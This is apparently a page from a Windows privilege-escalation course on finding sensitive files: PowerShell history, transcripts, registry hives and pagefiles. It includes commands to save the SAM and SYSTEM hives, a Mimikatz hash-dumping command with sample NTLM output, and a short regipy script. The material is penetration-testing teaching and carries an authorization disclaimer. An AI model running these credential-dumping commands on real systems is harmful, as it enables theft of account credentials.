11 - Files with Sensitive Data

Topics

  1. Introduction to the Windows Shells

  2. Windows Permissions

  3. Reverse Shells in Windows

  4. SeImpersonatePrivilege Exploitation

  5. On Cross Compilation

  6. Windows Services

  7. Weak Service Permissions

  8. Unquoted Service Path

  9. DLL Hijacking

  10. Always Install Elevated

  11. Files with Sensitive Data

  12. Windows Hashes

  13. Stored Credentials and the Windows Vault

  14. Scheduled Task

  15. Critical Registry Paths

  16. Useful Tools

  17. AMSI Bypass

System Logs

PowerShell commands and system logs are valuable for tracking user activity and investigating security incidents. This guide details key concepts such as command history, transcript logs, and sensitive Windows files like the SAM and registry hives.

Command History

PowerShell maintains a history of executed commands, which can be retrieved in the following ways:

  • Retrieve Commands from Memory:

    Get-History
  • Retrieve History File Location:

    (Get-PSReadlineOption).HistorySavePath
  • Default History File Paths:

    • Windows:

      %UserProfile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    • Linux:

      $HOME/.local/share/powershell/PSReadLine/ConsoleHost_history.txt

PowerShell Transcript

A PowerShell transcript records all executed commands and their output to a file. While useful for audits, mishandling transcripts may expose sensitive data.

  • Start Transcript:

    Start-Transcript -Path "C:\Users\Quickemu\Desktop\Log.txt"
  • Stop Transcript:

    Stop-Transcript

Security Accounts Manager (SAM + SYSTEM)

The Security Accounts Manager (SAM) file stores local user credentials, including usernames, password hashes, and security identifiers (SIDs).

Location:

C:\Windows\System32\config\SAM

The SAM file is locked by the operating system, but backup copies may sometimes be accessible.


Dumping SAM with SeBackupPrivilege

The SeBackupPrivilege allows privileged users or processes to bypass file security restrictions and back up system files.

  • Grant Privilege to a User:

    Add-LocalGroupMember -Group "Backup Operators" -Member "Leonardo"
  • Save SAM and SYSTEM Files:

    reg save hklm\sam C:\Users\Leonardo\Desktop\SAM.hive
    reg save hklm\system C:\Users\Leonardo\Desktop\SYSTEM.hive

Using Mimikatz to Dump LSASS

Mimikatz can extract hashes stored in the Local Security Authority Subsystem Service (LSASS).

  • Command:

    mimikatz64.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
  • Sample Output:

    RID  : 000003e8 (1000)
    User : Quickemu
      Hash NTLM: 2b576acbe6bcfda7294d6bd18041b8fe

Registry Hives

The Windows registry stores system and application settings. It is divided into hierarchical registry hives, each with specific roles and locations.

Common Registry Hives:

  • HKEY_CLASSES_ROOT (HKCR):

    C:\Windows\System32\Config\Software
  • HKEY_LOCAL_MACHINE (HKLM):

    C:\Windows\System32\Config\SYSTEM
  • HKEY_USERS (HKU):

    C:\Windows\System32\Config\DEFAULT
  • HKEY_CURRENT_USER (HKCU):

    C:\Users\<UserName>\NTUSER.DAT
  • HKEY_CURRENT_CONFIG (HKCC):

    C:\Windows\System32\Config\SystemProfile

Registry Analysis with regipy

Use the regipy Python package to analyze registry hives:

pip3 install regipy

Example Python script for listing registry keys:

from regipy.registry import RegistryHive

def list_registry_keys(hive_path):
    hive = RegistryHive(hive_path)
    for entry in hive.recurse_subkeys(as_json=True):
        print(entry)

if __name__ == "__main__":
    list_registry_keys("./SYSTEM")

Extra System Files

Configuration Files

Applications often store configuration data in the following locations:

  • %AppData%

  • %LocalAppData%

Paging File

The paging file (pagefile.sys) is used by Windows for virtual memory.

  • Location:

    C:\pagefile.sys

Hibernation File

When hibernation is enabled, Windows saves the RAM contents to hiberfil.sys.

  • Location:

    C:\hiberfil.sys

Other Resources

Disclaimer

❗ Never use tools and techniques on real IP addresses, hosts or networks without proper authorization!

Last updated